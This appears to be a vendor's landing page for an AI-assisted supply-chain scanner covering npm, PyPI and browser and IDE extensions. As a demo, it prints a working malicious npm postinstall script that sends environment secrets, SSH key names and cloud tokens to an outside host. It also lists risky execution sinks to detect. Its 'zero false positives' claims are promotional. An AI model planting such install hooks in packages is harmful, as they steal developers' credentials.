Secure Your Software Supply Chain with AI-Powered Intelligence.
Analyze open-source packages, browser and IDE extensions, submitted source code, and AI-generated artifacts to identify potential security threats, backdoors, and malicious behavior at enterprise scale.
“AST decomposition identified high-risk obfuscation in setup.py reaching out to unauthorized C2 endpoint. LLM synthesized intent and classified payload as credential harvester. Validated and quarantined by Security Research Team.”
Security Across Your Entire Software Ecosystem
npm Packages
Postinstall hooks, typosquatting & dependency confusion detection.
PyPI Packages
setup.py backdoors, LastPyMile source discrepancy & wheel analysis.
VS Code Extensions
VSIX telemetry, manifest permission audit & background execution traps.
Chrome Extensions
DOM injection, keylogger behavior & unauthorized cross-domain relays.
How AI Powers Our Security Intelligence
We embed Artificial Intelligence and Large Language Models directly into our multi-stage detection pipeline. AI accelerates the analysis; human cybersecurity researchers validate the outcome.
01 — Analyze
AI analyzes source code, packages, extensions, and submitted artifacts at high throughput.
02 — Detect
Our intelligence layer identifies suspicious patterns, evasive behavior, and potential threats.
03 — Interpret
LLMs transform complex technical findings into understandable, human-readable insights.
04 — Report
AI assists in generating meaningful, contextual, and actionable client remediation reports.
05 — Validate
Security engineers review and verify findings to ensure 100% quality and zero false positives.
01 — Automated Ingestion & Deep AST Analysis
Our ingestion engine unpacks package archives (tarballs, wheels, CRX, VSIX), parses abstract syntax trees (ASTs), extracts metadata, maps dependencies, and normalizes execution entrypoints across all supported language ecosystems.
- Multi-ecosystem parsing for npm, PyPI, VS Code extensions, and Chrome Extensions.
- De-obfuscation pipeline detecting eval, Function constructors, base64 payload strings, and dynamic memory allocation.
- Static taint tracking to trace untrusted inputs to sensitive system sinks.
// Stage 01: Ingestion & AST Tree Traversal
const ast = parser.parsePackagePayload(artifactBuffer);
const sinks = ast.findCalls([
'child_process.exec',
'fs.writeFileSync',
'net.Socket.connect'
]);
console.log(`[AST] Found ${sinks.length} potential high-risk execution sinks`);Experience How Our AI Analyzes Malicious Code
Select a real-world supply chain attack vector below to inspect how our multi-stage AI reasoning extracts intent and delivers human-validated intelligence.
// package.json "postinstall": "node ./lib/init.js"
// File: lib/init.js
const fs = require('fs');
const https = require('https');
const os = require('os');
function _0x3b1a() {
const envData = JSON.stringify(process.env);
const homeDirs = fs.readdirSync(os.homedir() + '/.ssh');
const payload = Buffer.from(JSON.stringify({
host: os.hostname(),
user: os.userInfo().username,
keys: homeDirs,
tokens: process.env.NPM_TOKEN || process.env.AWS_SECRET_ACCESS_KEY
})).toString('base64');
const req = https.request({
hostname: 'telemetry-cdn-sync.io',
path: '/v1/collect?d=' + payload,
method: 'POST'
});
req.end();
}
_0x3b1a();Direct filesystem access to ~/.ssh combined with base64 encoded network dispatch on package installation.
The package masquerades as a legitimate logging middleware but executes an undocumented postinstall script that exfiltrates environment secrets and SSH key metadata to an external endpoint "telemetry-cdn-sync.io".
Verified Malicious Supply-Chain Attack (Malware ID: PG-MAL-99201). Blocked in CI/CD pipeline.
Comprehensive Supply Chain Defense
A unified platform engineered to detect zero-day package attacks, browser extension compromises, and malicious source code.
Open-Source Package Scanning
Continuous analysis of npm and PyPI registries for typosquatting, postinstall hooks, dynamic eval payloads, and unauthorized exfiltration vectors.
Try Typosquatting ScannerExtension Security
Inspect VS Code and Chrome extension manifests, background service workers, and DOM content scripts to stop keyloggers and token scrapers.
Explore Sandbox EngineSource Code Analysis
Static taint analysis and Bandit4Mal AST heuristics to locate secret exfiltration, unsafe deserialization, and dangerous memory execution paths.
Bandit4Mal Static ScannerAI Artifact Analysis
Evaluate AI-generated code snippets and LLM-suggested dependencies to safeguard against "slop-squatting" and hallucinated package hijacking.
Inspect LastPyMile EngineAI-Assisted Reporting
Transform cryptic compiler logs and raw AST call graphs into actionable remediation guides, CVSS scoring, and instant fix recommendations.
View Verified Sample ReportsHuman-Validated Intelligence
Combine massive AI automation with security researcher validation, delivering verified verdicts that enterprise engineering teams can trust without alert fatigue.
Meet Our Research TeamAI Automation + Human Security Expertise
Our platform combines high-throughput AI automation with expert security research to deliver faster, highly accurate, and reliable supply-chain intelligence.
AI & LLM Intelligence High-Speed Scaled Processing
- Large-scale analysis: Scans tens of thousands of package releases and commits daily across registries.
- Pattern recognition: Identifies subtle obfuscation, polymorphic evasion, and typosquat variations.
- Code understanding: Deconstructs AST nodes to comprehend intent in unfamiliar codebases.
- Automated report drafting: Instantly summarizes threat implications into digestible reports.
- Faster triage: Reduces initial investigation time from hours to seconds.
Zero false-positive enterprise guarantee
Security Engineer Expertise Contextual Judgment & Validation
- Validation & verification: Human security researchers review critical anomalies before blocking alerts fire.
- Contextual risk analysis: Understands enterprise architectural intent vs malicious bypasses.
- Quality assurance: Eliminates false alarms that stall deployment pipelines and frustrate developers.
- Deep-dive investigation: Deconstructs novel zero-day malware campaigns and threat actors.
- Model tuning loop: Expert findings continuously fine-tune our LLM prompts and AST heuristics.
Strengthening Security Through Partnership
We collaborate with leading security innovators to build an impenetrable defense across software supply chains.
“We work with leading security technologies and partners, including Socket, to strengthen our software supply-chain security capabilities.”
Package Intelligence
Enhanced telemetry and ecosystem analysis across thousands of open-source dependencies.
Behavioral Sandboxing
Correlating dynamic execution traces with static dependency vulnerability matrices.
Proactive Threat Feeds
Rapid synchronization of newly identified malicious package campaigns and typosquats.
Developer-First Security
Minimizing friction in engineering CI/CD workflows through precise threat isolation.
End-to-End Threat Intelligence Pipeline
From multi-source ingestion to human-verified security alerts—explore how every layer of our security stack operates.
Built for Enterprise Scale
Demonstrated performance safeguarding high-velocity engineering organizations.
Understand Your Software Risk Before It Becomes a Threat.
Discover how AI-powered security intelligence and expert validation can help protect your software supply chain from poisoned packages, malicious extensions, and hallucinated code.